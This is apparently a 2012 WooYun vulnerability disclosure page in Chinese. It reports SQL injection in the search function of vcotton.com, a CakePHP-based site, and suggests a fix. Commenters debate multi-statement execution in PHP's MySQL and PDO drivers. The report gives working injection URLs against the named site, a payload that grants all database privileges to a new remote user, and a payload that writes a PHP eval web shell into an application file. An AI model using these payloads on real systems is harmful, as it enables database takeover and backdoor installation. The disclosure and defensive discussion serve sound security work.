漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:维棉等多个CAKEPHP框架站搜索处存在SQL注入攻击
相关厂商:维棉
提交时间:2012-02-05 17:37
修复时间:2012-03-21 17:37
公开时间:2012-03-21 17:37
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:2
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
无
漏洞详情 披露状态:
2012-02-05: 积极联系厂商并且等待厂商认领中,细节不对外公开 2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开
简要描述: http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251 cakephp多数框架版本架设的应用不带搜索的注入过滤
详细说明: http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251 cakephp多数框架版本架设的应用不带搜索的注入过滤 这里的1=1可以任意换。 然后你可以 %') and 1=1;grant all privileges on *.* to 'zimengqian'@'%' identified by '12345678';# 你可以 %') and 1=(select '<?php eval($_POST[c])?>' into outfile '/data/web_root/abram.intra.vcotton.com/www/current/app/app_controller.php');#(悲催的是无写权限)
漏洞证明: http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251 http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D2+and+1+like%28%27%251
修复方案: 自己在适当位置addslashes 并且 用str_replace给%和_加斜杠 或者修改 core/libs/controller/components/request_handler.php 以适应全部(也许2.0已经修改了这个bug)
版权声明:转载请注明来源 紫梦芊 @乌云
漏洞回应 厂商回应: 未能联系到厂商或者厂商积极拒绝
漏洞Rank:10 (WooYun评价)
漏洞评价:
评论
2012-02-06 10:38 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
2012-02-06 10:44 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
2012-02-06 10:45 |
Jian(64bit) ( 实习白帽子 | Rank:65 漏洞数:15 | 世界上有10种人,懂二进制的和不懂的.)
2012-02-06 11:01 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
直接发的邮件给他们~ "没有限额限制" 这句最给力~
2012-02-08 16:37 |
horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
作为程序员,对通用框架应用漏洞什么的表示很头疼,因为很难有精力审计和发现潜在的问题......
2012-02-08 17:09 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@horseluke 理解理解 不过如果有一些第三方的意见就好了
2012-02-08 19:03 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
2012-03-21 18:21 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@紫梦芊 这个问题的多语句执行是谁导致的 是框架还是数据库?
2012-03-21 18:42 |
GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)
cakephp框架本身用的PDO,PDO本身就不支持多语句执行吧?楼主怎么做到的?
2012-03-21 21:28 |
xnet ( 实习白帽子 | Rank:99 漏洞数:11 | 工作~~)
2012-03-22 10:56 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
@xsser mysql数据库本身是支持多语句的,框架由于版本过老,未处理对多语句的多虑,而且早期框架的 security组件很弱,不完善 @GaRY pdo_mysql扩展 只有stmt 设置ATTR_EMULATE_PREPARES = 0时才不支持多语句。
2012-03-22 11:27 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
@GaRY cakephp 2.0之前应该都是直接mysql也可以使用mysqli其中支持事务的innodb可以多条 以及mysqli_multi_query也可以多条详细他们如何照成的我不清楚 我只能清楚他们的版本比较低 毕竟是黑盒
2012-04-09 14:48 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
WEB安全测试500人群 QQ群号 139836831
2012-04-10 17:08 |
GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)
@紫梦芊 mysql和mysqli本身在php源代码级别就在connect的时候自动disable掉多语句了php-5.3.8/ext/mysqli/mysqli_nonapi.c /* set some required options */ flags |= CLIENT_MULTI_RESULTS; /* needed for mysql_multi_query() */ /* remove some insecure options */ flags &= ~CLIENT_MULTI_STATEMENTS; /* don't allow multi_queries via connect parameter */php-5.3.8/ext/mysql/php_mysql.c#ifdef CLIENT_MULTI_RESULTS client_flags |= CLIENT_MULTI_RESULTS; /* compatibility with 5.2, see bug#50416 */#endif#ifdef CLIENT_MULTI_STATEMENTS client_flags &= ~CLIENT_MULTI_STATEMENTS; /* don't allow multi_queries via connect parameter */#endif当然他是保留了muil_result,那是因为在调用存储过程的时候可能输出多结果。但是多语句是必定限制掉的。mysqli_multi_query必须是显形调用才行,一般是不会这种写法的。没限制掉的只有PDO了,试了一下,果然支持多语句执行,这可是个大问题。值得专门撰文提一下。
2012-04-10 17:27 |
紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)
2012-04-10 17:37 |
horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
@GaRY PDO可以多语句??结合之前PDO在字符集设置不当下prepare一样也可宽字节注入问题,看来PDO有许多我们不知道的地方...期待报告
2012-04-11 00:21 |
horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
外部关联:http://zone.wooyun.org/index.php?do=view&id=50(PDO SQL多语句执行问题)